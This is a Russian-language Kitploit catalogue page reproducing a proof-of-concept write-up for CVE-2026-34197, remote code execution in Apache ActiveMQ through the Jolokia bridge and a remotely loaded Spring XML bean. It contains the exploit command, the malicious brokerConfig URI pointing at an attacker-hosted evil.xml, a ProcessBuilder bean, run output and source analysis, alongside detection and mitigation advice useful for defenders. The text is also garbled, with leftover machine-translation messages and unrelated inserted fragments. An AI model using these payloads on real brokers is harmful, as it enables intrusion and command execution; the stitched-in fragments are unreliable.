Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-34197 — Доказательство концепции эксплуатации для CVE-2026-34197, демонстрирующее аутентифицированное удалённое выполнение кода в Apache ActiveMQ через мост Jolokia JMX-HTTP и внедрение Spring XML-бина. | Kitploit
Инструменты/GitHubGitHub/lat-06/cve-2026-34197
Динамический анализ (песочница)Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHublat-06/cve-2026-34197

CVE-2026-34197

Доказательство концепции эксплуатации для CVE-2026-34197, демонстрирующее аутентифицированное удалённое выполнение кода в Apache ActiveMQ через мост Jolokia JMX-HTTP и внедрение Spring XML-бина.

33 месяцев назадЕщё не проверено
Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-34197

Описание
Недостаточная проверка входных данных, неконтролируемая генерация кода (‘Code Injection’) уязвимость в Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic предоставляет мост Jolokia JMX-HTTP по адресу /api/jolokia/ в веб-консоли. Политика доступа Jolokia по умолчанию разрешает операции exec для всех MBean ActiveMQ (org.apache.activemq:*), включая BrokerService.addNetworkConnector(String) и BrokerService.addConnector(String). Прошедший аутентификацию злоумышленник может вызвать эти операции с помощью специально сформированного discovery URI, который заставляет параметр brokerConfig транспорта VM загрузить удалённый контекст приложения Spring XML с помощью ResourceXmlApplicationContext. Поскольку ResourceXmlApplicationContext из Spring создаёт все singleton-бины до того, как BrokerService проверит конфигурацию, происходит выполнение произвольного кода в JVM брокера через методы фабрики бинов, такие как Runtime.exec(). Эта проблема затрагивает Apache ActiveMQ Broker: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ All: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ: до 5.19.4, с 6.0.0 до 6.2.3. Пользователям рекомендуется обновиться до версии 5.19.4 или 6.2.3, в которой исправлена эта проблема.

Дополнительная информация: link

Этап эксплуатации

Ссылка

Github: link```bash ❯ docker compose up -d

root@kitploit:~
Входной текст (INPUT) отсутствует — переводить нечего. Пожалуйста, укажите содержимое чанка 3, и я выполню перевод.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` При запуске брокера ActiveMQ регистрирует `BrokerView` как управляющий MBean брокера:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` Имя объекта создается как:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` В стандартной поставке это открывает MBean брокера как цель Jolokia, доступную по HTTP, например:```text org.apache.activemq:type=Broker,brokerName=localhost ``` Соответствующие обязанности компонентов:

LHOST — это частный IP-адрес компьютера. Вы можете использовать ipconfig в Windows или ifconfig в Linux

Проверка RCE```bash ❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

root@kitploit:~
=> RCE успешно выполнен, файл `blahblah.txt` был создан на целевой системе.

# Фаза анализа
## Динамический анализ```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
root@kitploit:~
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Журналы выполнения также подтвердили, что Jolokia была включена и доступна через веб-консоль ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Проверьте подключение```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Это означает:

  • Jolokia был доступен
  • Аутентификация прошла успешно с использованием учетных данных по умолчанию
  • Целевая система работала под управлением ActiveMQ 5.18.6
  • Агент Jolokia принимал аутентифицированные запросы

Чтобы прочитать журналы```bash docker logs activemq-vuln > activemq-rce.log

root@kitploit:~
Затем найдите чистую цепочку с помощью grep```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

После отправки полезной нагрузки```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Эта строка критически важна, поскольку она подтверждает, что управляемый атакующим URI, переданный через:```java
BrokerView.addNetworkConnector(String)

достиг транспортного уровня VM без санитизации.

Вредоносный URI, использованный при эксплуатации:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

root@kitploit:~
This URI contains two important parts:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Обёртка, используемая коннекторами обнаружения ActiveMQ     |
| `vm://evil?...` | URI транспорта VM, обрабатываемый внутри ActiveMQ        |

The `static:(...)` wrapper itself is not the vulnerable component. Its purpose is to pass the enclosed transport URI into ActiveMQ's network connector subsystem.

During runtime execution, ActiveMQ extracted and processed the inner VM transport URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

Это поведение было подтверждено в журналах выполнения:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Параметр `brokerConfig=` является критической частью полезной нагрузки. Он предписывал транспортному уровню VM динамически создать экземпляр брокера, используя внешнюю конфигурацию Spring xbean, загружаемую из:```text
http://192.168.1.32:9999/evil.xml

Префикс xbean: заставлял ActiveMQ делегировать обработку XML-загрузчику контекста приложения Spring:```text org.apache.xbean.spring.context.ResourceXmlApplicationContext

root@kitploit:~
В результате удалённый XML-документ был разобран и создан как контекст приложения Spring внутри JVM брокера.

Вредоносный XML содержал следующий Spring-бин:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Это определение бина предписало Spring создать экземпляр объекта ProcessBuilder и немедленно вызвать его метод start() во время инициализации контекста приложения.

Эксплойт использовал следующую команду:```bash touch /tmp/blahblah.txt

root@kitploit:~
Поскольку Spring немедленно создаёт синглтон-бины во время инициализации контекста, метод `ProcessBuilder.start()` выполнялся до того, как ActiveMQ проверял, безопасна ли и валидна ли сама конфигурация брокера.

Это приводило к выполнению произвольных команд на целевом контейнере.

Эксплойт был подтверждён проверкой каталога `/tmp` внутри контейнера ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Метаданные файла дополнительно подтвердили успешное выполнение команды:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt

File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35

root@kitploit:~
Это доказывает, что произвольные команды операционной системы были успешно выполнены в контексте контейнера ActiveMQ.

Трассировка стека времени выполнения также выявила полный путь выполнения уязвимости:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Во время анализа времени выполнения наблюдались следующие записи стек-трейса:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)

at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)

at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)

at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)

at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)

at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)

at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)

root@kitploit:~
Одним из наиболее важных наблюдений во время динамического анализа был порядок, в котором Spring и ActiveMQ обработали вредоносную конфигурацию.

После успешного выполнения полезной нагрузки ActiveMQ позднее сгенерировал следующее предупреждение:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Это поведение демонстрирует, что:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.

root@kitploit:~
Несмотря на то, что сама конфигурация брокера в конечном итоге была отклонена, вредоносный Spring-бин уже был создан и выполнен.

Эта проблема порядка выполнения является основной логической ошибкой, лежащей в основе CVE-2026-34197.

Динамический анализ выявил следующие компоненты, участвующие в цепочке эксплуатации:

| Компонент                     | Роль                               |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | HTTP-мост к JMX                    |
| BrokerView                    | Открытый управляющий MBean         |
| VMTransportFactory            | Разбирает транспортный URI `vm://` |
| BrokerFactory                 | Создаёт экземпляр брокера          |
| XBeanBrokerFactory            | Загружает конфигурацию Spring xbean |
| ResourceXmlApplicationContext | Загружает удалённый XML            |
| XmlBeanDefinitionReader       | Разбирает определения Spring-бинов |
| Spring BeanFactory            | Создаёт экземпляры синглтон-бинов  |
| ProcessBuilder                | Выполняет команды операционной системы |

Динамический анализ подтверждает, что CVE-2026-34197 вызвана взаимодействием следующих факторов:

* Чрезмерно разрешительные управляющие операции Jolokia
* Контролируемые атакующим транспортные URI
* Автоматическое создание брокера VM-транспорта
* Удалённая загрузка конфигурации Spring xbean
* Немедленное создание синглтон-бинов до проверки

В результате аутентифицированный атакующий может добиться выполнения произвольного кода в JVM ActiveMQ, передав вредоносный URI `brokerConfig=xbean:http://...` через операцию `addNetworkConnector()`, доступную через Jolokia.

### Обзор архитектуры

Apache ActiveMQ Classic предоставляет управляющий интерфейс через мост Jolokia JMX-HTTP, доступный по адресу:```text id="n0vmrq"
/api/jolokia/

Jolokia действует как HTTP-to-JMX мост, позволяя аутентифицированным пользователям удалённо вызывать операции Java Management Extensions (JMX) через HTTP.

Уязвимый путь архитектуры, выявленный в ходе анализа, показан ниже:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution

root@kitploit:~
| Component             | Function                                     |
| --------------------- | -------------------------------------------- |
| Jolokia               | Предоставляет операции JMX через HTTP        |
| BrokerView            | Интерфейс управления MBean                   |
| VMTransportFactory    | Обрабатывает URI транспорта `vm://`          |
| BrokerFactory         | Динамически создаёт брокеры                  |
| XBeanBrokerFactory    | Загружает конфигурации Spring xbean          |
| Spring Context Loader | Разбирает и создаёт экземпляры определений XML-бинов |
| ProcessBuilder        | Выполняет команды операционной системы       |

Архитектура становится уязвимой, потому что ActiveMQ позволяет аутентифицированным пользователям вызывать опасные методы управления брокером с URI транспорта, контролируемыми атакующим.

---

### Анализ поверхности атаки

Основная поверхность атаки — это HTTP-эндпоинт Jolokia, доступный через веб-консоль ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

Runtime analysis confirmed that the Jolokia interface was enabled by default:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/

root@kitploit:~
Конечная точка Jolokia принимала аутентифицированные запросы с использованием HTTP Basic Authentication:```json id="13tzmx"
"authMode":"basic"

Была обнаружена следующая опасная операция управления:```java id="pxqv10" BrokerView.addNetworkConnector(String)

root@kitploit:~
Этот метод принимает управляемый пользователем транспортный URI без достаточного ограничения опасных схем URI или параметров конфигурации.

Злоумышленник предоставил следующий payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

Эта полезная нагрузка злоупотребляла несколькими функциями одновременно:

FeatureAbuse
addNetworkConnector()Принимает URI, контролируемый атакующим
vm:// транспортЗапускает динамическое создание брокера
brokerConfig=Загружает произвольную конфигурацию брокера
xbean:Вызывает загрузчик XML Spring
Удалённый HTTP URLПолучает XML, контролируемый атакующим

Таким образом, поверхность атаки включает:

  • Открытость HTTP API Jolokia
  • Слабо ограниченные операции управления JMX
  • Разбор динамических URI транспорта
  • Загрузка внешней конфигурации брокера
  • Интеграция Spring xbean

Анализ первопричины

Уязвимость вызвана взаимодействием нескольких доверенных подсистем внутри ActiveMQ.

Основная проблема в том, что аутентифицированные пользователи Jolokia имеют право вызывать опасные операции управления брокером с URI транспорта, контролируемыми атакующим.

Уязвимый поток выполнения, выявленный при анализе во время выполнения, выглядит следующим образом:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation

root@kitploit:~
Критическим параметром является:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Этот параметр указывает транспортному уровню VM динамически создавать брокер с использованием внешней конфигурации Spring xbean.

Следующие свидетельства времени выполнения подтвердили это поведение:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

root@kitploit:~
Затем Spring загрузил удалённый XML через:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Вредоносный XML содержал:```xml id="y6jphd"

root@kitploit:~
Во время инициализации контекста Spring-приложения синглтон-бины создаются немедленно. В результате метод `ProcessBuilder.start()` выполнился сразу.

Ключевой логический недостаток заключается в том, что создание Spring-бина произошло до того, как ActiveMQ проверил, является ли сама конфигурация брокера безопасной или допустимой.

Это поведение было доказано динамически, поскольку:

1. Вредоносная полезная нагрузка успешно создала `/tmp/blahblah.txt`
2. ActiveMQ позже отклонил конфигурацию брокера, выдав:```text id="6k1dwn"
The configuration has no BrokerService instance

Это демонстрирует, что выполнение кода произошло до завершения проверки брокером.


Индикаторы компрометации (IOC) и обнаружение

Потенциальные индикаторы компрометации включают подозрительные запросы Jolokia, направленные на операции управления ActiveMQ.

Подозрительные операции Jolokia

Ищите запросы, вызывающие:```text id="c56p2k" addNetworkConnector addConnector

root@kitploit:~
через:```text id="pt2n3d"
/api/jolokia/

Подозрительные шаблоны URI

Следующие фрагменты URI являются явными признаками попыток эксплуатации:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(

root@kitploit:~
Пример вредоносного payload:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

Исходящие HTTP-соединения

Брокер может инициировать исходящие запросы к инфраструктуре, контролируемой атакующим:```text id="f5g9kx" http://attacker/evil.xml

root@kitploit:~
Неожиданный исходящий HTTP-трафик из JVM брокера должен быть расследован.

#### Подозрительные журналы выполнения

Следующие сообщения во время выполнения подозрительны:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

outpost24-dev: следующие значения являются единственными допустимыми ключами для объекта верхнего уровня assess:

  • auth
  • cookie
  • debug
  • deployment
  • exception
  • fingerprint
  • headers
  • ident
  • injection
  • redirect
  • session_handling
  • ssl
  • storage
  • upload
  • xss

P.S. Я призываю вас внести свой вклад в этот проект с открытым исходным кодом. Будь то исправление ошибок, добавление новых функций или просто улучшение документации, каждый вклад ценен. Напишите мне, если хотите предложить функции, сообщить об ошибках или обсудить что-либо, я открыт для сотрудничества.```text id="3q2vls" ResourceXmlApplicationContext

root@kitploit:~
Please provide the Markdown content to translate.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions

Артефакты файловой системы

Неожиданные файлы в:```text id="6x7qcm" /tmp/

root@kitploit:~
или подозрительное выполнение дочерних процессов из JVM ActiveMQ может указывать на эксплуатацию.

---

### Анализ воздействия

Успешная эксплуатация позволяет аутентифицированное удалённое выполнение кода в контексте JVM ActiveMQ.

В проанализированной среде произвольные команды операционной системы успешно выполнялись внутри контейнера:```bash id="2hyz0w"
touch /tmp/blahblah.txt

Результат:```text id="rm2qfd" /tmp/blahblah.txt

root@kitploit:~
Файл был создан как:```text id="9phgkz"
Uid: (0/root)

Это указывает на то, что выполнение команд было осуществлено с привилегиями root внутри контейнера.

Потенциальное воздействие включает:

ВоздействиеОписание
Удаленное выполнение кодаВыполнение произвольных команд
Компрометация контейнераПолная компрометация контейнера ActiveMQ
Кража учетных данныхДоступ к учетным данным и секретам брокера
Горизонтальное перемещениеПереход к соседним системам
ЗакреплениеСоздание вредоносных сетевых коннекторов
Раскрытие данныхДоступ к сообщениям и очередям брокера

Серьезность значительно возрастает, если:

  • Jolokia доступен извне
  • Учетные данные по умолчанию остаются включенными
  • Контейнеры работают от имени root
  • Хосты брокера имеют неограниченный исходящий доступ

Меры по смягчению

Обновление до исправленных версий

Обновите ActiveMQ Classic до:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later

root@kitploit:~
#### Ограничьте доступ к Jolokia

Отключите Jolokia, если он не требуется.

Если Jolokia должен оставаться включённым:

* Ограничьте доступ только доверенными административными сетями
* Применяйте строгую аутентификацию
* Отключите опасные операции exec
* Применяйте строгие политики доступа к Jolokia

#### Удалите учётные данные по умолчанию

Не используйте:```text id="9mw1xv"
admin:admin

Ограничение исходящего сетевого доступа

Предотвратите инициацию брокером произвольных исходящих HTTP-соединений.

Это снижает риск попыток удалённого получения XML.

Отключение опасных функций

Ограничьте или отключите:

  • Динамическое создание брокера
  • Использование транспорта vm://
  • Внешнюю загрузку конфигурации xbean:

Укрепление среды выполнения

  • Запускайте контейнеры от непривилегированных пользователей
  • Применяйте ограничения файловой системы
  • Используйте сегментацию сети
  • Отслеживайте выполнение дочерних процессов JVM

Рекомендации по обнаружению

Отслеживайте:

  • Запросы к /api/jolokia/
  • Использование addNetworkConnector
  • Параметры brokerConfig=
  • URI xbean:
  • Исходящие HTTP-запросы от JVM брокера
  • Неожиданные дочерние процессы, порождаемые Java

Статический анализ

Обзор исходного кода

Уязвимый путь проходит через веб/JMX-уровень управления ActiveMQ, сетевой уровень брокера, VM-транспорт, подсистему фабрики брокера и загрузку конфигурации Spring XBean.

Jolokia включён в веб-API-приложении ActiveMQ:```xml

  • BrokerView: фасад управления брокером, ориентированный на JMX. Он предоставляет addNetworkConnector(String) и addConnector(String).
  • BrokerService: объект среды выполнения брокера. Он преобразует строковый адрес сетевого коннектора в URI и создаёт DiscoveryNetworkConnector.
  • DiscoveryNetworkConnector: использует агент обнаружения для получения URI служб удалённых брокеров, а затем подключается к каждому обнаруженному URI.
  • TransportFactory: разрешает схему URI в фабрику транспорта с помощью META-INF/services/org/apache/activemq/transport/<scheme>.
  • VMTransportFactory: обрабатывает транспорты vm:// и может автоматически создавать встроенный брокер, если запрошенный VM-брокер не существует.
  • BrokerFactory: разрешает схему URI конфигурации брокера с помощью META-INF/services/org/apache/activemq/broker/<scheme>.
  • XBeanBrokerFactory: обрабатывает URI конфигурации брокера xbean: и создаёт контекст приложения Spring/XBean.
  • ResourceXmlApplicationContext: загружает XML-ресурс и выполняет обновление фабрики Spring-бинов, включая немедленное создание синглтонов.

Уязвимость существует из-за того, что метод управления принимает язык URI ActiveMQ, который не является пассивными данными. При вычислении URI он может создавать брокеры и загружать Spring XML-конфигурацию.


Уязвимая точка входа

Уязвимая точка входа:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }

root@kitploit:~
Интерфейс MBean предоставляет операцию как:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;

Контролируемые атакующим входные данные — это аргумент Jolokia exec, передаваемый в discoveryAddress. В уязвимой версии BrokerView.addNetworkConnector() не выполняет проверку схемы, не проверяет вложенные URI и не фильтрует параметры, специфичные для транспорта, перед передачей строки в BrokerService.

BrokerService преобразует строку напрямую в URI:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); }

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }

root@kitploit:~
Затем объект коннектора настраивается с URI локального брокера и добавляется к брокеру:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
    connector.setBrokerService(this);
    connector.setLocalUri(getVmConnectorURI());
    ...
    networkConnectors.add(connector);
    return connector;
}

Управление передаётся подсистеме транспорта, когда BrokerView запускает коннектор:```java connector.start();

root@kitploit:~
Для URI эксплойта:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

static:(...) создаёт статический коннектор обнаружения, а внутренний URI vm://... становится обнаруженной удалённой службой.


Анализ транспорта VM

Транспорт VM разрешается через:```properties

activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm

class=org.apache.activemq.transport.vm.VMTransportFactory

root@kitploit:~
Уязвимый метод:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception

Метод разбирает URI vm://, извлекает параметры запроса и рассматривает brokerConfig как URI создания брокера:```java host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); }

root@kitploit:~
Параметр `create` по умолчанию имеет значение `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
    create = false;
}

Если брокер для запрошенного VM-хоста не существует, VMTransportFactory создаёт его:```java broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); }

root@kitploit:~
Это нарушение границы привилегий на транспортном уровне. URI, переданный через плоскость управления, интерпретируется транспортом VM как инструкция создать брокер из произвольного URI конфигурации.

Оставшаяся проверка параметров выполняется после создания брокера:```java
if (!options.isEmpty()) {
    throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;

